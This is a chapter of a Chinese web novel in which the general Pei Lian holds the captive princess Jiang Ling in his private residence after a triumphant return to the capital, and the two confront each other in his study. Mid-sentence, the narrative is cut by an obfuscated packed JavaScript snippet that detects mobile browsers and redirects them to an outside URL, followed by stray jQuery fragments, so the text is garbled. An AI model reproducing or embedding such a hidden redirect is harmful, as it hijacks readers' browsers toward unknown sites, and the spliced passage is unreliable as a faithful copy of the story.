姜泠清楚自己身子不虞,也恐于那日裴敛的威胁,一时不敢再折腾,只日日与昙娘呆在马车中静养。
二人日日相对,话却不多。大多时候都是昙娘翻看医书,她则看着窗外发呆。
要说唯一让她心头松快些的,便是这些时日裴敛没再出现在她眼前膈应。
可临到她看见远处高耸不见边际的城墙,以及城墙上笔锋遒劲的两个大字,江都,她才知,原来不是裴敛给她清净,而是裴敛根本没空理她。
大军班师回朝,万民恭迎,盛况空前。
裴敛高坐马背之上,俯瞰众生,风头一时无两。
百姓面上皆是快意欢欣,挂红批彩,胜利的喜悦洋溢在江都城中每处角落。
除却姜泠所在的马车。
外头的热闹每多一分,她的面色就苦上一分。
这几日她也会向昙娘打探些消息,或许昙娘也觉得她不过将死之人,没藏着掖着,与她如实相告。
听闻她父皇派去上景的大军已至上景都城雍城,而裴敛义父苏崇已于前日先行入城,十万大军驻扎北城门外,与南城门外裴敛把持的大军竟形成合围之势。
世人皆以为是护卫皇城,殊不知,却是要取而代之,掀翻这座皇城。
十余年没再踏足这片土地,姜泠却毫无心情去回味感慨,入了江都,她就是砧板上的鱼肉,任人宰割。
昙娘见她面色发白,紧抿双唇,不由拍了拍她紧握于膝上的那双手,张了张嘴,却什么也没说。
能说什么?
如今姜泠的小命皆在裴敛一念之间,说什么都是无济于事。
裴敛受诏,入城后便往宫城而去。
而姜泠,则被寒鸦带着去了一处私宅。
江都昨日刚落了一场雪,空气中还透着蚀骨的寒,穿堂风一吹,更是如坠冰窟。
“他为何不带我进宫?”姜泠抬首看着飞檐翘角,轻声问道。
她未施粉黛,却换上了久违的女子衣物,银白月色落在绯色衣裙之上,照出了她眼底的惶恐。
昙娘拿着银狐裘上前,替她披在肩上:“公主莫忧,主子自有他的打算。”
她转头看昙娘,无声颔首。裴敛的打算,她清楚得很。
掀皇城,覆天下,登基易主,杀尽姜家人。
只是她不明白,裴敛为何要将她关在他的私宅之中,难道不该带她与她父皇母后相认,再一并斩杀吗?
她摇摇头,将无端杂念暂且藏了起来,朝着廊下走去。
裴敛入宫已整整一日,也不知如今宫中是个什么境况。
刚走出两步,却忽闻长廊尽头传来细微脚步声,姜泠心头一紧,下意识抓紧衣袖,后退一步。
可昙娘跟在她身后,宅中各处更有军卫把守,她退无可退。她只得驻足,望向长廊那头。
宅中并未处处燃烛,只能借着月色依稀辨出来人的身形。
身影颀长,宽肩窄腰,仿佛在黑夜中撕扯出一道玄青色的裂缝。
人影走近,姜泠看着面前那张脸,滚了滚喉头,低声唤道:“裴督军。”
距她上次见裴敛,已近十日。
那日裴敛同她撂下狠话,将她吓得七荤八素后,二人就再未这般面对面,四目相对过。今早入城,她也不过只在马车中远远瞧了眼那扬长而去的背影。
裴敛似换了衣,却依旧是暗色,同他此人一样,并不光彩。
再见裴敛,姜泠心头是惧怕的,怕下一瞬他就抽刀了结了她。
但她并未显露,反倒问道:“裴督军忙完了?”
裴敛没答,上前一步,将昙娘手中的灯笼夺了过来,提到面前人脸颊旁,照亮了她的面容。
原本他只是想将面前女子的神情看得更清楚些,最好是能瞧见那副既惶恐又无措的模样,以纾他今日所忍之恨。
可谁知,映入眼帘的却是一双清透如镜般的眸子,还酿着丝丝笑意。
那头乌发没再盘起,而是同大俞寻常未出阁的女子一般半挽半散地披在肩头,却又与大俞所有女子不同,并未簪花点翠,只束了根木枝,甚至还带着枯黄未落的叶。
他定定审视着姜泠,直至瞧见她身上那件银狐裘,冷声道:“谁准你动宅中物件的?”
说着,便一把将银狐裘拽了下来。
他本就是习武之人,气力非常人能比,这一拽,连带着将姜泠身上那件单衣都拽落肩头。
锁骨处的那枚蝶印,竟在暗夜中红得烫眼。
姜泠赶忙回身,以发遮面,仓促理好自己的衣襟:“裴督军这是做什么?!”
昙娘见状赶忙上前认错:“主子息怒,是老奴擅作主张拿来的狐裘......”
“看来昙娘还是没将本督那日的话放在心上。”
“不,老奴只是……”
“够了。”
裴敛冷声打断昙娘,挥袖将银狐裘并着灯笼一并丢到地上,绕过面前二人,往长廊那头的书房走去。
走了几步,却又回头,朝着姜泠指示道:“你,跟上来。”
姜泠一时无措,转头看向昙娘,却见她无声摇头。无法,她只得跟了上去。
回都途中裴敛虽说一直如同冷面修罗,却从来都是一副运筹帷幄的模样,喜怒皆不形于色,从未这般怒火中烧过。
至少,他此前从未直呼她过“你”,而是会装模作样地唤上声“公主”。
额头冷汗涔涔,姜泠直觉今日裴敛进宫,当是发生了些令其不虞之事,且与她的父皇母后有关。
而她,便是这股怒火的归宿。
不过五十步的路途,她是磨了又磨,才慢腾腾地挪到书房。虽说外头天寒地冻,似也比屋中要好上许多。
实在是今夜的裴敛太过吓人。
轻着步子走至裴敛身前的梨花木足案前,她深吸一口气,才缓缓抬头。
可刚抬眼,就对上了那双满是怒意和嘲讽的眼睛,她双肩微颤,强行将惧怕压了下来。
足案上燃了烛,孤零零地立在裴敛身前,将二人的影子圈在一处。
看着面前女子身着的绯色衣裙,裴敛勾唇嘲弄:“明知本督的打算,你倒还能如此安闲,倒是小看了你。”
姜泠将慌张藏起,接话道:“我如今不过寄生浮萍,生死全凭督军定夺,哪里来的闲适?”
“这话倒是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500070|170302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说得不错。”
这番言语似是取悦了裴敛,使其面色稍霁。
姜泠不敢问今日宫中究竟发生了何事,却也好奇他打算在何时动手。就算是死,能提前知晓自己的死期,也能有个心理准备。
思索片刻,她试探道:“裴督军大胜归来,想必宫中人人称赞吧?”
这模样,像极了往日裴敛不屑于应付的阿谀奉承之人,可今夜见姜泠如此,却让他窝了一肚子的火稍稍疏解。
但他没应此话,却是另有所思。
其实姜泠猜得一点也不错,今日宫中确实发生了令他极其不悦之事。
天极殿下,寒日当头,他乃勋功之人,却因她那父皇忌惮他功高盖主,寻了个荒唐由头让他硬生生在白玉阶上跪了整整两个时辰。但奈何他的大计还需等上两日,今日也只能将此番侮辱受了。
姜家人,皆是卸磨杀驴、恩将仇报之辈,姜泠是大俞公主,姜家之后,实该承受他所受之屈。
兴许正因如此,出宫之后,他不偏不倚地回了私宅,找上了姜泠。
但他将她留到现在,实不想这般简单就杀了她。他今夜只想以牙还牙。
姜泠见他沉思不语,却并未生气,才又继续询问道:“督军今日入宫,可有同官中人提起过我?”
此话一出,正中裴敛下怀。
他倾身向前,手肘撑膝,隔着足案面无表情道:“你口中的父皇母后都不曾问起过你,本督为何要提起你?甚至,如今宫中上下,无一人知晓大俞公主已回都,也无人关心你是否能在战火中活下去。”
姜泠呼吸一窒,浑身发寒。
虽说她早已知晓此番事实,可如今听裴敛说出口,仍是忍不住恶寒。
衣袖被风撩起,她却丝毫未觉,只怔怔地看着裴敛身旁跳跃的烛火,问了句:“当真?”
可刚问出口,她就后悔了,事实如何,还需问吗?
裴敛抱手往后一靠,唇边笑意更浓,饶有趣味地欣赏着她脸上明晃晃的沮丧和自嘲。
姜泠五岁便被送往上景,为了大俞,为了姜家皇座,在上景宫城中待了十二年,到头来,却连一句父母的问候都没等到。
此事,确实能轻易破掉寻常女子的心防。
可他实在不了解姜泠,此事对她而言虽说一时伤人,却不足以摧毁她。
因而片刻之后,姜泠又找回理智,冷静下来,淡然道:“无妨,不记得便罢了。”
裴敛摩梭着案上竹纹的手一顿,眼色再度冷了下来。
姜泠的反应实在出乎他的意料。
面前这个被他恐吓几句都会被吓得昏迷不醒的女人,面对此事竟然连一滴眼泪都不落?
可再一细想,裴敛了然。
她五岁便去了上景,只怕已忘了骨肉至亲的关怀该是何滋味。所谓食髓知味,不知餍足,也得先记得那般滋味,才会渴求。
飘摇的烛火爆了个灯花,照得他面容明暗不定。
年少记忆模糊,那如今的记忆呢?
他一手抬袖,一手探了进去,再伸手,其掌心之上便多了两个物件。
大俞大皇子的玉扳指,同许润声的玉佩。